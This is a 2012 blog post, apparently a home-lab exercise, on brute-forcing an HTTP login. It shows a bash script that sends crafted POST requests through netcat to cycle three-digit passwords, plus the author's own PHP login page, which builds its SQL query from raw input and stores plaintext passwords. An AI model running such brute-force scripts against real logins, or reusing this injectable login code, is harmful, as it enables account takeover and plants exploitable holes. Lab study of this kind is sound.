Monday, September 3, 2012

Brute Force HTTP Login

The purpose of this post is to better understand how to brute force an HTTP login.  So I took the time to design a real simple web application in php with a MySQL database.  This is so I could have a test server to work from.

The php code is below that I used:
<HTML>
<BODY>
<FORM NAME="index" method="POST" action="checklogin.php">
<?php
        echo '<TABLE><TR>';
        echo '<TD>Username</TD><TD><input type=text name=username size=20></TD>';
        echo '</TR><TR>';
        echo '<TD>Password</TD><TD><input type=password name=password size=20></TD>';
        echo '</TR><TR>';
        echo '<TD COLSPAN=2><CENTER><input type=submit value=Login></CENTER></TD>';
        echo '</TR></TABLE>';
?>
</FORM>
</BODY>
</HTML>

The php code for checklogin.php is also below:
<HTML>
<BODY>
<?php
$host="localhost";
$username="dbuser";
$password="123";
$db_name="login";
$tbl_name="usersTable";
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");
$usernamePOST=$_POST['username'];
$passwordPOST=$_POST['password'];
$loginSuccess = 'No';
$sql="SELECT * FROM $tbl_name WHERE username='$usernamePOST' and password='$passwordPOST'";
$result=mysql_query($sql);
while ($row = mysql_fetch_array($result)) {
        $userApp = $row['username'];
        $passApp = $row['password'];
        if (($userApp == $usernamePOST) && ($passApp == $passwordPOST)) {
                $loginSuccess = 'Yes';
        }
}
if ($loginSuccess == 'Yes') {
        echo "Login was Successful!";
}
else {
        echo "Login was unsuccessful!";
}
?>
</BODY>
</HTML>

 

Then I used wireshark to capture the packet that went between the web browser and the web application.  This packet tells me the language that I can use to interact using nc (netcat) with the web page that I built.  The ASCII text of the packet that I need is below:

POST /checklogin.php HTTP/1.1
Host: test.local
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0
.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=o.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://test.local/
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

username=test&password=test


After gathering the packet now I needed a script that would brute force the username and/or password.  For simplicity I chose the username test and then a 3 digit password to design the script around.  I had to pay attention to the content length variable because it would change based on the length of the username or password.

In designing the script I had to also place a delay in the script due to it quickly reaching the maximum number of connections on a web server.  Then I also had to when nc (netcat) was called the connection would stay open for 5 seconds so I placed a delay in the script of 2-5 seconds.  Also to avoid hitting the DNS server multiple times I placed the IP address into the nc (netcat) command.  The biggest change I had to make was to remove the Accept-Encoding: gzip line or else the response sent back would be gzipped.  With removing this I was able to get back the clear text response from the server.

The bash script I wrote is below:
#!/bin/bash

# 1st character
for i in {0..9}
do

# 2nd character
for j in {0..9}
do

# 3rd character
for k in {0..9}
do

    password=$i$j$k
    length=`expr length $password`

# 4. Populate HTTP POST

    echo "POST /checklogin.php HTTP/1.1" > temp/post-reply$i$j$k.txt
    echo "Host: server.local" >> temp/post-reply$i$j$k.txt
    echo "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:10.0.2) Gecko/20100101 Firefox/10.0.2" >> temp/post-reply$i$j$k.txt
    echo "Accept: text/html,application/xhtml+xml,application/xml;q=0.9, */*;q=o.8" >> temp/post-reply$i$j$k.txt
    echo "Accept-Language: en-us,en;q=0.5" >> temp/post-reply$i$j$k.txt
    echo "Connection: keep-alive" >> temp/post-reply$i$j$k.txt
    echo "Referer: http://server.local/" >> temp/post-reply$i$j$k.txt
    echo "Content-Type: application/x-www-form-urlencoded" >> temp/post-reply$i$j$k.txt
    if [ $length = 1 ]; then   
        echo "Content-Length: 24" >> temp/post-reply$i$j$k.txt
    fi
    if [ $length = 2 ]; then
        echo "Content-Length: 25" >> temp/post-reply$i$j$k.txt
    fi
    if [ $length = 3 ]; then
        echo "Content-Length: 26" >> temp/post-reply$i$j$k.txt
    fi

    echo "" >> temp/post-reply$i$j$k.txt   
    echo "username=test&password=$password" >> temp/post-reply$i$j$k.txt
    echo "" >> temp/post-reply$i$j$k.txt   
    echo "" >> temp/post-reply$i$j$k.txt   
   

    nc 10.172.172.2 80 < temp/post-reply$i$j$k.txt > response/response$i$j$k.txt &
    sleep 3
           
done
done
done


This was a success in being able to find the username of test and password of '123' due to the web page returning different results when it was successful.

To control the brute-force attack you could place a temporary time delayed lock out on the account after so many successive tries.  This was a first of many exercises I will be posting...  Enjoy!

No comments:

Post a Comment

Powershell - Gather Mapped Drives from a List of Computer Names

I created the following Powershell script to gather remotely the mapped drives that users had in their profiles.  I had to create the script...